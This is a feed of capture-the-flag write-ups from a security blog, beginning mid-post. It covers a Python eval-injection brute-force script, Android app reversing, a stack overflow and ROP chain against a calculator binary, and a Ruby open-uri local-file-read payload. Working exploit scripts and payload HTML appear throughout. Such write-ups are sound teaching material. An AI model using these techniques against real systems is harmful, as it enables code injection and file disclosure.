    cmd, serialnum = userinput.split()
    if !validate(userinput):
        exit()
    serialnum = eval(serialnum) # Why???
    if serialnum is int and len(serialnum) == 4:
        token = gentoken(serialnum, seed, date)
        print(token)
</code></pre>

<p>The key points of the code are the <code>validation()</code> function, the use of <code>eval</code>, and then the <code>gentoken()</code> function. We already have arbitrary (for the most part) code execution with the <code>eval</code>. But we're facing four challenges:</p>

<ol>
<li><code>eval</code> in Python, must be fed an input, that will return a value, and not simply 'do'. Meaning, something like <code>3+3</code> can be <code>eval</code>'d, whereas <code>print "Hi mom!"</code> <em>cannot</em> be <code>eval</code>'d - an exception will be thrown.  </li>
<li><code>validate()</code> must successfully return, so we any input we give to the token generator, has to pass the validation which forbids certain characters such, <code>|</code>, and <code>"</code>.  </li>
<li>There's also the hidden challenge that after the <code>input()</code> a <code>split()</code> happens. That means if we want to sneak in any python code that's longer than 1 word, we're going to have to do it without spaces like ninjas.  </li>
<li>We have to somehow get the <code>seed</code> variable out of the system without breaking (1), (2), and (3).</li>
</ol>

<p>So how can we get the seed out? We can't simply do a <code>print</code>, because our input would fail (1). However, let's recall how the token is generated, a token essentially mixes together a username (serial number), a randomly generated seed, and a timestamp into a single one time use password. However, this token generator is missing the crucial step of the randomly generated seed, and instead it's a constant. So, the only thing that's actually changing when the token is generated is the timestamp. You cannot rely simply on a timestamp for randomization, because it's predictable and not fine grain enough (meaning, you can only get millisecond precision). </p>

<p>So we can reverse engineer the <code>gentoken()</code> function and figure out how 1ms increases in time change the key, or we can just send as many requests as we can in the 1ms window to the token generator with the same serial number, and get back the same token. However, the token returned will be different for 2 different serial numbers given to it in the same timestamp, <em>awesome</em>!</p>

<p>We can be smart, or we can simply just guess every possible letter for every character in the seed string.</p>

<pre><code class="language-python">if seed[i] == guess:  
    return 2017
else:  
    return 1000
</code></pre>

<p>So we have to fit that construct somehow into the <code>input()</code>, without breaking (1), (2), and (3) from above. I set up a test bench for this to figure out what exactly can I fit into a string that'll still pass.</p>

<pre><code class="language-python"># This validation() is copy pasted from tokens.py given to us
def validation(input):  
    err = int()
    input = str(input)
    # 3,4,6,8,9,-,/,*,%,&lt;,&gt;, and bunch more banned
    nochrs = [34,60,62,33,64,35,36,37,94,38,42,45,47,51,52,54,56,57,63,92,96,124,59,123,125]
    for i in input:
        if ord(i) in nochrs:
            print(i)
            err = 1
            break
        else:
            err = 0
    if not err: return 1
    else: return 0

# This function is used to just test for what successfully gets past (1) and (2)
def test_seed():  
    seed = "flag{http://eugenekolo.com}"
    cmd = "gen"
    tmp = eval("{cmd:eval('''2017.if.seed[2].==.'{}'.else.1000'''.replace('.',chr(0x20)))}")
    if validation("eval('''2017.if.seed[2].==.'{}'.else.1000'''.replace('.',chr(0x20)))"):
        print("valid")
    if (type(tmp.values()[0])) == int:
        print("yes int")
    if len(str(tmp.values()[0])) == 4:
        print(tmp.values()[0])

test_seed()  
</code></pre>

<p>Awesome, we found a string that passes validation, and outputs 2 different values based on what <code>seed</code> actually is. <em>There is however one extra little pain here.</em> If you look at the list of banned characters in validation, you'll notice that the ASCII representation of the numbers, 3, 4, 6, and some others are banned. That means we can't pass a string that indexes directly into <code>seed[2]</code>, or <code>seed[4]</code>, and so on. We also cannot test if the valid guess for the seed index is a '3', or a '4', and so on. Lucky for us, the ASCII representation of '1' is not banned, so we can simply just add a bunch of 1's to form the actual value we want. </p>

<pre><code class="language-python">from datetime import datetime  
from socket import *  
import telnetlib, struct

s=socket(AF_INET, SOCK_STREAM)  
s.connect(('tokens.pwn2win.party', 6037))  
t = telnetlib.Telnet()  
t.sock = s

for i in range(0,60):  
    for x in range(20, 128):
        # Fun little hack to get in arbitrary numbers due to some characters being banned
        x = "1+"*x
        x = x.rstrip("+")
        index = "1+"*i
        index = index.rstrip("+")
        if i == 0:
            index = '0'

        # Let's take a guess of what seed[i] might be
        guess = "gen eval('''2017.if.seed[{}].==.chr({}).else.1000'''.replace('.',chr(0x20)))".format(index, x)
        t.write(guess+"\n")

        # Did we guess right?!
        r = t.read_until("&gt;&gt;&gt;")
        # This number is the different one if you give a serial number of 2017 instead of 1000
        if '47872900' in r: 
            print(i, chr(eval(x)))
            print(r)
</code></pre>

<p>And you end up with several of these:  </p>

<pre><code>(0, 'J')

Token: 47872897  
Valid until: 1:1:59  
...
(3, '5')

Token: 47872897  
...
</code></pre>

<p>I believe there's an unintentional bug, or something in the code as well, because we shouldn't be able to send and receive ~40 requests in 1ms across the Internet. It seems that the token generator is a bit broken and doesn't even change for every millisecond increase.</p>

<p>Also in my solution there actually an off by one error (I just guessed and fixed it up), so you'll end up with the string: <code>Jf{5pvg:cbi4QvohpPtibf:fjijfhi4jftfFovHi</code>, which is the answer + 1 to each character, where the real one is:</p>

<pre><code>CTF-BR{Iez4ouf9bah3PungoOshae9eihiegh3ieseEnuGh}  
</code></pre>]]></content:encoded></item><item><title><![CDATA[0ctf 2016 Boomshakalaka (plane) Writeup]]></title><description><![CDATA[<h1 id="boomshakalakaplane">boomshakalaka (plane)</h1>

<blockquote>
  <p>play the game, get the highest score <br>
  boomshakalaka  </p>
</blockquote>

<p>(<em>mobile</em>)</p>

<p>This was an Android reverse engineering challenge. We're given an <code>apk</code>, <em>plane.apk</em>. First thing to do is check out the apk by launching an emulator, or using your phone. I do some Android development right now, so I</p>]]></description><link>https://eugenekolo.com/blog/0ctf-2016-boomshakalaka-writeup/</link><guid isPermaLink="false">e434b871-235b-42df-bf5b-6fe8b532f1a6</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Tue, 15 Mar 2016 02:43:12 GMT</pubDate><content:encoded><![CDATA[<h1 id="boomshakalakaplane">boomshakalaka (plane)</h1>

<blockquote>
  <p>play the game, get the highest score <br>
  boomshakalaka  </p>
</blockquote>

<p>(<em>mobile</em>)</p>

<p>This was an Android reverse engineering challenge. We're given an <code>apk</code>, <em>plane.apk</em>. First thing to do is check out the apk by launching an emulator, or using your phone. I do some Android development right now, so I already had a couple of Android VMs ready made in <a href="http://developer.android.com/sdk/index.html">Android Studio</a>. </p>

<pre><code>$ adb devices
List of devices attached  
emulator-5556    device  
$ adb install plane.apk # Note: The emulator must have an ARM ABI, not x86 for this apk
</code></pre>

<p><img src="https://eugenekolo.com/blog/content/images/2016/03/plane.png" alt="">
Turns out it's a pretty fun game! Nothing really sticks out from a security and puzzle perspective. <br>
Well, let's take a look into the source code. We're given an <code>apk</code> file, which is just a fancy Android <code>jar</code>, and a <code>jar</code> file is just a fancy Java <code>zip</code> file, so all the contents that form the app are contained inside the <code>apk</code> and just need to be unpacked. We can either unpack the <code>dex</code> files (fancy Android .class files), or <code>smali</code> assembly. I did the latter first, by using the tool, <a href="http://ibotpeaches.github.io/Apktool/">apktool</a>.</p>

<pre><code>$ apktool d plane.apk
$ ls
AndroidManifest.xml  apktool.yml  assets  lib  original  res  smali  
$ ls smali/com/example/plane/
a.smali  BuildConfig.smali  FirstTest.smali  R$attr.smali  R$drawable.smali  R.smali  R$string.smali  
</code></pre>

<p>We have every file inside of the <code>apk</code>, you can browse around the directories and figure out how the application works. The interesting parts are in <a href="https://gist.github.com/eugenekolo/f125dee08320b9b5d43c#file-a-smali">a.smali</a>, and <a href="https://gist.github.com/eugenekolo/f125dee08320b9b5d43c#file-firsttest-smali">FirstTest.smali</a>. The first thing you'll notice is the base64 string: <code>const-string v0, "YmF6aW5nYWFhYQ=="</code>, decoded to: "bazingaaaa" - funny. Without diving into how to read Java bytecode, it looks like the programs don't really do too much interesting except set some shared preferences (persistent global variables), put some weird strings (<code>DATA</code>, <code>N0</code>, and <code>MG</code>) into them, and call the init functions. There's no actual game logic anywhere though - it must be implemented elsewhere. Looking back into the directories that <code>apktool</code> told us, we can find <code>lib/armeabi/libcocos2dcpp.so</code>. So the actual logic and everything for the game must be written in "native code" inside of the <code>libcocos2dcpp.so</code>. We have to take a peak at the code inside of that compiled native binary... but before that, let's backtrack and make sure we understand the Java side of the code.</p>

<p>I know of a couple more tool for decompiling and reversing Android programs, <a href="https://github.com/pxb1988/dex2jar">dex2jar</a> and <a href="http://jd.benow.ca/">jd-gui</a>. All these great tools used are included in my <a href="https://github.com/eugenekolo/sec-tools">sec-tools collection</a>.</p>

<pre><code>$ dex2jar plane.apk
dex2jar plane.apk -&gt; ./plane-dex2jar.jar  
$ jdgui plane-dex2jar.jar
</code></pre>

<p>Produces us these decompiled Java files: <a href="https://gist.github.com/eugenekolo/f125dee08320b9b5d43c#file-a-java">a.java</a> and <a href="https://gist.github.com/eugenekolo/f125dee08320b9b5d43c#file-firsttest-java">FirstTest.java</a>. Pretty much what we understood in the earlier <code>smali</code> files, but much clearer. This is a good technique to keep in mind when reversing future Android apps.</p>

<p>Back to the <code>libcocos2dcpp.so</code>, let's look for those strings we saw on the Java side of the app, specifically <code>DATA</code> (that's a juicy one).</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/03/idaboomshaka.png" alt="IDA Strings"></p>

<p>Interesting other strings near it.</p>

<p><img src="https://eugenekolo.com/blog/content/images/2016/03/idaboom-shaka.png" alt="IDA Cross References"></p>

<p><code>setStringForKey</code> from <code>cocos2d</code> seems to use this string in some sort of way. Looking up what the function does leads me to <a href="http://www.cocos2d-x.org/reference/native-cpp/V3.0alpha0/db/d94/classcocos2d_1_1_user_default.html">cocos2d reference manual</a>. It looks like the function sets a key to be equal to a string. This sounds like persistent memory storage, <em>for things like the game score!</em></p>

<p>Remember the description of this challenge... our goal is to get the highest score. Remembering my teenage years, I used to cheat in some games that stored things like the game score in a simple text file. I wonder if we can do the same thing here, and just change some number stored in a text file, get the highest score, and get our flag.</p>

<p>Let's do that.</p>

<pre><code class="language-shell">$ adb shell
$ cd /data/data/com.example.plane/shared_prefs
$ cat Cocos2dxPrefsFile.xml
&lt;?xml version='1.0' encoding='utf-8' standalone='yes' ?&gt;  
&lt;map&gt;  
    &lt;int name="HighestScore" value="14000" /&gt;
    &lt;string name="DATA"&gt;MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvRfdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvMWdz99ZntDMGNvUzJkX0FuRHJvRfRz&lt;/string&gt;
    &lt;boolean name="isHaveSaveFileXml" value="true" /&gt;
&lt;/map&gt;  
$ echo 'MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvRfdz99ZntDMGNvUzJkX0FuRHJvMWRzdz99ZntDMGNvUzJkX0FuRHJvMWdz99ZntDMGNvUzJkX0FuRHJvRfRz' | base64 --decode
0ctf{C0coS2d_AnDrow?}f{C0coS2d_AnDro1dsw?}f{C0coS2d_AnDroE�s��g�36�3&amp;E��G&amp;�G7s��g�36�3&amp;E��G&amp;�w?}f{C0coS2d_AnDroE�s  
</code></pre>

<p>Trying out, <code>0ctf{C0coS2d_AnDrow?}</code> won't do us any good, it's not the flag. I tried a bunch of combinations such as <code>0ctf{0ctf{C0coS2d_AnDro1d?}</code> as well, it's none of that. Okay. Let's think. We seem to have a repeating pattern in the base64. Some examination of the base64 compared to the ASCII output reveals that <code>MGN0</code> is actually '0ct', and <code>ZntD</code> is 'f{C', and <code>dz99</code> is 'w?}', and some stuff inbetween. It looks like we have to use the pieces of data we saw in the <code>.so</code> binary to form some sort of base64 that'll decode into the flag. Editing the <code>HighestScore</code> value to <code>1000000</code> and playing the game, and then checking back the <code>xml</code> file doesn't seem to do anything. </p>

<p>If you look for all the tiny strings near the ones we found around <code>DATA</code> that are "base64-esque", you'll get this list: <code>Jv Uz X0 Zn tD dz99 MG Nv Fu Jk RH 4w S2 Vf b1 9z RV Bt Rz Rf MW</code>. We have to probably use them in the right order, we already know the placement of most of those. We really only need to basically place ~8 strings in the correct order that'll decode correctly into ASCII. You can bruteforce, or you can examine the binary .so some more.</p>

<p>The characters seem to get added to the string, <code>DATA</code>, inside of the <code>Cocos2dxPrefsFile.xml</code> when the game is initialized, when the game layers are loaded, when certain high scores are achieved, and when the game is ending. By following the logical progression that would happen, e.g. you init first, load layers, get high score in linear order, and end the game, you'll form the correct base64 string.</p>

<pre><code>echo 'MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99' | base64 --decode  
0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}  
</code></pre>]]></content:encoded></item><item><title><![CDATA[Boston Key Party CTF 2016 Writeups]]></title><description><![CDATA[<p>Boston Key Party (BkP) CTF is a challenging annual CTF organized by several Boston area university alums. It's a challenging CTF that has focused on exploitation, reversing, and cryptography in the past.</p>

<p>I have friends organizing it, so I gave their challenges a try and managed to solve a few.</p>]]></description><link>https://eugenekolo.com/blog/boston-key-party/</link><guid isPermaLink="false">0c2d67cc-ab50-445b-81e7-414190e7c6d5</guid><dc:creator><![CDATA[Eugene Kolo]]></dc:creator><pubDate>Sun, 06 Mar 2016 22:00:15 GMT</pubDate><content:encoded><![CDATA[<p>Boston Key Party (BkP) CTF is a challenging annual CTF organized by several Boston area university alums. It's a challenging CTF that has focused on exploitation, reversing, and cryptography in the past.</p>

<p>I have friends organizing it, so I gave their challenges a try and managed to solve a few.</p>

<h4 id="writeups">Writeups</h4>

<ul>
<li><a href="https://eugenekolo.com/blog/boston-key-party/#simplecalc">Simple Calc</a></li>
<li><a href="https://eugenekolo.com/blog/boston-key-party/#optiproxy">OptiProxy</a></li>
</ul>

<h1 id="simplecalc">Simple Calc</h1>

<p><em>(pwn, solved by 186)</em>  </p>

<blockquote>
  <p>what a nice little calculator!   <a href="https://s3.amazonaws.com/bostonkeyparty/2016/b28b103ea5f1171553554f0127696a18c6d2dcf7">https://s3.amazonaws.com/bostonkeyparty/2016/b28b103ea5f1171553554f0127696a18c6d2dcf7</a> <br>
  simplecalc.bostonkey.party 5400</p>
</blockquote>

<p>I teamed up with <a href="https://github.com/kierk">@kierk</a> for this challenge.</p>

<p>We're given an ELF64 binary. Opening it up in IDA and running the decompiler reveals to us:</p>

<pre><code>int __cdecl main(int argc, const char **argv, const char **envp)  
{
  void *v3; // rdi@1
  int result; // eax@3
  const char *v5; // rdi@4
  __int64 v6; // rax@4
  char v7; // [sp+10h] [bp-40h]@14
  int v8; // [sp+38h] [bp-18h]@5
  int v9; // [sp+3Ch] [bp-14h]@1
  __int64 v10; // [sp+40h] [bp-10h]@4
  int i; // [sp+4Ch] [bp-4h]@4

  v9 = 0;
  setvbuf(stdin, 0LL, 2LL, 0LL);
  v3 = stdout;
  setvbuf(stdout, 0LL, 2LL, 0LL);
  print_motd(v3);
  printf((unsigned __int64)"Expected number of calculations: ");
  _isoc99_scanf((unsigned __int64)"%d");
  handle_newline("%d", &amp;v9);
  if ( v9 &lt;= 255 &amp;&amp; v9 &gt; 3 )
  {
    v5 = (const char *)(4 * v9);
    LODWORD(v6) = malloc(v5);
    v10 = v6;
    for ( i = 0; i &lt; v9; ++i )
    {
      print_menu(v5);
      v5 = "%d";
      _isoc99_scanf((unsigned __int64)"%d");
      handle_newline("%d", &amp;v8);
      switch ( v8 )
      {
        case 1:
          adds("%d");
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4A88;
          break;
        case 2:
          subs("%d");
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4AB8;
          break;
        case 3:
          muls("%d");
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4AA8;
          break;
        case 4:
          divs("%d");
          *(_DWORD *)(v10 + 4LL * i) = dword_6C4A98;
          break;
        default:
          if ( v8 == 5 )
          {
            memcpy(&amp;v7, v10, 4 * v9);
            free(v10);
            return 0;
          }
          v5 = "Invalid option.\n";
          puts("Invalid option.\n");
          break;
      }
    }
    free(v10);
    result = 0;
  }
  else
  {
    puts("Invalid number.");
    result = 0;
  }
  return result;
}
</code></pre>

<p>It seems the program is infact, a simple calc. The program can add, subtract, multiply, or divide for us. Looking deeper into the program's functions reveals that there's nothing really too interesting, summarized here:</p>

<ul>
<li>print_motd - a simple 1 line <code>printf</code>, nothing exploitable</li>
<li>handle_newline - does <code>getchar</code> until a <code>\0</code> or a <code>\n</code>, perhaps buggy, but doesn't seem exploitable</li>
<li>print_menu - simple <code>printf</code>s, nothing exploitable</li>
<li>adds, subs, muls, divs - do basic arithmetic of two arguments, the arguments are limited to > 39, for some reason. It seems you can cause integer overflows here perhaps. The interesting thing in these is that result of the functions seems to get put into the global data section, <code>.bss</code>.</li>
</ul>

<p>The <code>main</code> function allows us 5 options, the 4 basic math operators, and a save and exit. The save and exit is particularly interesting. The save and exit option does a <code>memcpy</code> of global memory onto the stack. However, there was only 11 dwords allocated for the copy operation by the stack. If we ask main for more than 11 operations, prompted here: <code>printf((unsigned __int64)"Expected number of calculations: ");</code>, then we'll have a simple stack buffer overflow. With that, we can overwrite the return address, and initiate a ropchain. </p>

<p>There is one other interesting point here, and that's the call to <code>free()</code>. Initially we ran into the problem of <code>free()</code> failing, and causing a segmentation fault when we were playing with the program with over 11 operations. That's because we kept spamming the global memory with the values "40..41..42..43..44", and <code>free()</code> would try to free the memory located at <code>0x0000000000000059</code>. We were stuck, but we guessed perhaps <code>free()</code> doesn't fail for 0 or null, and that turned out to be true, as documented here:</p>

<blockquote>
  <p>The free function causes the space pointed to by ptr to be deallocated, that is, made available for further allocation. If ptr is a null pointer, no action occurs.</p>
</blockquote>

<p>So we can simply make sure the 19th value copied onto the stack is <code>0x0000000000000000</code>.</p>

<p>So let's create this ropchain, luckily the binary is gigantic, and has everything we need. Running <a href="https://github.com/JonathanSalwan/ROPgadget">ropgadget</a> (also included in my <a href="https://github.com/eugenekolo/sec-tools">sec-tools</a>) on the binary produces for us an already complete ropchain:</p>

<pre><code>ropgadget --binary b28b103ea5f1171553554f0127696a18c6d2dcf7 --ropchain  
&gt; https://gist.github.com/eugenekolo/d07741d6e7b261b3c339#file-ropchain-py
</code></pre>

<p>Now, we have to get that chain onto the stack, and we're set. We have control of a global array in memory that gets copied onto the stack. Getting the exact bytes we want into that global array is a bit tricky. We have to use one of the operations of the calculator (<code>sub</code> is my favourite), with specially crafted operands. The result of that calculation will be put into the global array. <em>This part is a bit tricky in that it takes 2 operations of the calculator to fill 64-bit blocks in memory that the program uses (due to it being a 64-bit elf) - the calculations return 32-bit numbers.</em> So, we end up with a chain of operations that looks like this:</p>

<pre><code>2          # Subtract operation  
4602868  
100        # Result = 4602768

2          # Subtract operation  
100  
100        # Result = 0

2          # Subtract operation  
4602868  
100        # Result = 4602768

2          # Subtract operation  
100  
100        # Result = 0

...

5 # Save and exit operation  
</code></pre>

<p>That will result in <code>0x0000000000463B90</code> and <code>0x0000000000463B90</code> quad-words in the global memory.</p>

<p>The global array is then copied onto the stack with a <code>save and exit</code>. The copying overwrites the return address on the stack, and begins our ropchain.</p>

<p>Now we have to somehow get the entire ropchain into memory with some calculator operations. I went with a low-tech pwning script for this exploitation. I wrote a <a href="https://gist.github.com/eugenekolo/d07741d6e7b261b3c339#file-pwn-py">pwn_script</a> that outputted the above chain of operations, newlines included. When the <a href="https://gist.github.com/eugenekolo/d07741d6e7b261b3c339#file-pwn_header-py">pwn_header</a> (to initiate 254 operations, and make sure <code>free()</code> frees <code>0x0</code>) and the output of the <a href="https://gist.github.com/eugenekolo/d07741d6e7b261b3c339#file-pwn-py">pwn_script</a> is copied into the remote session of the challenge, <code>nc simplecalc.bostonkey.party 5400</code>, a series of subtraction operations with different operands will occur. Finally a <code>5</code> will be passed to the remote session, and cause a <code>save and exit</code>. That will kick off the ropchain now in the <code>.bss</code> section, revealing to us this tasty shell:</p>

<pre><code>$ ls
key  
run.sh  
simpleCalc  
simpleCalc_v2  
socat_1.7.2.3-1_amd64.deb  
$ cat key
BKPCTF{what_is_2015_minus_7547}  
</code></pre>

<h1 id="optiproxy">OptiProxy</h1>

<p><em>(web, solved by 115)</em>  </p>

<blockquote>
  <p>inlining proxy here <a href="http://optiproxy.bostonkey.party:5300">http://optiproxy.bostonkey.party:5300</a></p>
</blockquote>

<p>This was a fun challenge about a vulnerable Ruby program. Navigating to the webpage given brings us to a simple website that prompts us:</p>

<pre><code>welcome to the automatic resource inliner, we inline all images go to /example.com to get an inlined version of example.com flag is in /flag source is in /source  
</code></pre>

<p>Unfortunately the flag is not as easy as just navigating to <a href="http://optiproxy.bostonkey.party:5300/flag">http://optiproxy.bostonkey.party:5300/flag</a>.</p>

<p>Navigating to <code>/source</code> gives us the source code:</p>

<pre><code>require 'nokogiri'  
require 'open-uri'  
require 'sinatra'  
require 'shellwords'  
require 'base64'  
require 'fileutils' 

set :bind, "0.0.0.0"  
set :port, 5300  
cdir = Dir.pwd 

get '/' do str = "welcome to the automatic resource inliner, we inline all images" str &lt;&lt; " go to /example.com to get an inlined version of example.com" str &lt;&lt; " flag  
is in /flag" str &lt;&lt; " source is in /source" str end 

get '/source' do IO.read "/home/optiproxy/optiproxy.rb" end 

get '/flag' do str = "I mean, /flag on the file system... If you're looking here, I question" str &lt;&lt; " your skills" str end 

get '/:url'  
do  
    url = params[:url] 
    main_dir = Dir.pwd 
    temp_dir = "" 
    dir = Dir.mktmpdir "inliner" Dir.chdir dir 
    temp_dir = dir 
    exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}" `#{exec}` 
    my_dir = Dir.glob ("**/") Dir.chdir my_dir[0] 
    index_file = "index.html" 
    html_file = IO.read index_file 
    doc = Nokogiri::HTML(open(index_file)) 
    doc.xpath('//img').each 
    do 
        |img| header = img.xpath('preceding::h2[1]').text 
        image = img['src'] 
        img_data = "" 
        uri_scheme = URI(image).scheme 
            begin if (uri_scheme == "http" or uri_scheme == "https") 
                url = image 
            else 
                url = "http://#{url}/#{image}" 
            end 
        img_data = open(url).read 
        b64d = "data:image/png;base64," + Base64.strict_encode64(img_data) 
        img['src'] = b64d rescue # gotta catch 'em all puts "lole" next end 
    end 
    puts dir FileUtils.rm_rf dir Dir.chdir main_dir doc.to_html 
end  
</code></pre>

<p>At first glance, you might think to try exploiting <code>exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}</code>, but I was unable to find anything online that is able to escape <code>Shellwords.shellescape</code>. I believe it's safe to assume, that's a well written module, with no known exploits, and finding a 0day in it, while possible, is probably outside the scope of the challenge.</p>

<p>Moving on to understanding what exactly the code is doing, it seems to follow these steps:</p>

<ol>
<li>Parse out the parameter given after <code>/</code>, e.g. <code>example.com</code> if navigated to <code>http://optiproxy.bostonkey.party:5300/example.com</code>  </li>
<li>Create a folder named <code>inliner</code> and change directory into it.  </li>
<li>Run <code>wget</code> to create a mirror of the website provided in (1)  </li>
<li>Parse <code>index.html</code> from the mirrored website, and for each <code>img</code> tag: <br>
<ol><li>Grab the <code>src</code> parameter of the <code>img</code> tag
<ul><li>If the <code>src</code> parameter's URI scheme is <code>http</code> or <code>https</code>, it's good to go</li>
<li>Else if the URI scheme isn't <code>http</code> or <code>https</code>, then form a string that does have <code>http</code> uri scheme</li></ul></li>
<li>Open the <code>url</code> string created in (4a), and read the data from it</li>
<li>Base64 the image data read, and change the <code>src</code> parameter of the img tag to the base64 of the image data</li></ol></li>
<li>Return the <code>inliner</code> dir to the user of the web app, and clean up</li>
</ol>

<p>Okay, so where's the exploit? First things first, I tried passing something more interesting than just a simple webpage as the <code>url</code> to the web app to inline, i.e. <code>file://../../../../flag</code>, meaning I navigated to <code>http://optiproxy.bostonkey.party:5300/file://../../../../flag</code>, but that just returns to us the error message saying flag isn't there. I then thought that what I actually need is a website with an <code>img</code> tag whose <code>src</code> parameter is <code>file://../../../../flag</code>, so I whipped that up quickly:</p>

<pre><code>&lt;html&gt;&lt;body&gt;  
&lt;img src="file://../../../../flag" /&gt;  
&lt;/body&gt;&lt;/html&gt;  
</code></pre>

<p>I served the webpage off of my remote server with <code>python3 -m http.server</code> for a quick HTTP server. Navigating over to <code>http://optiproxy.bostonkey.party:5300/mywebsite.com:8000</code> gives me a blank screen. Checking the console and source code reveals the issue: <code>Not allowed to load local resource: file://../flag</code></p>

<p>It looks like the web app did mirror my website, it just didn't actually open the file, because of the <code>uri_scheme</code> check, <code>file != http</code>. Okay, so we really do need something that'll pass the URI scheme check, back to Google to learn more about Ruby's <code>uri_scheme</code> leads me to <a href="http://sakurity.com/blog/2015/02/28/openuri.html">http://sakurity.com/blog/2015/02/28/openuri.html</a>, <em>jackpot</em>. Interesting, it seems that a URL like <code>http:/foobar</code> will pass the <code>uri_scheme</code> check, and if we can somehow have a folder named <code>http:</code> (note the <code>:</code>) then we have a remote file read (into <code>/flag</code>!). <em>Now... how do we possibly make the folder named <code>http:</code>.</em> </p>

<p>After some thinking, I realized the solution, just make our fake website have a subdirectory named <code>http:</code> that'll get included by the <code>index.html</code>, because the <code>wget</code> call in the webapp is 2 levels deep, this will work! </p>

<pre><code>&lt;html&gt;&lt;body&gt;  
&lt;img src="./http:/hi" /&gt;  
&lt;img src="http:/../../../../../../../../flag" /&gt;  
&lt;/body&gt;&lt;/html&gt;  
</code></pre>

<p>Note that the 2nd <code>src</code> tag above, is to <code>http:/</code>, and not <code>http://</code>. Getting that website inlined, will cause the Ruby web application to create a directory structure with a folder named <code>http:</code> in it, and then open a file in reference to the folder <code>http:</code>, and return to us:</p>

<pre><code>&lt;html&gt;&lt;body&gt;  
&lt;img src="data:image/png;base64,aGloaQo="&gt;  
&lt;img src="data:image/png;base64,QktQQ1RGe21heWJlIGRvbnQgaW5saW5lIGV2ZXJ5dGhpbmcufQo="&gt;  
&lt;/body&gt;&lt;/html&gt;  
</code></pre>

<p>Decode the 2nd base64: <br>
<code>BKPCTF{maybe dont inline everything.}</code></p>]]></content:encoded></item></channel></rss>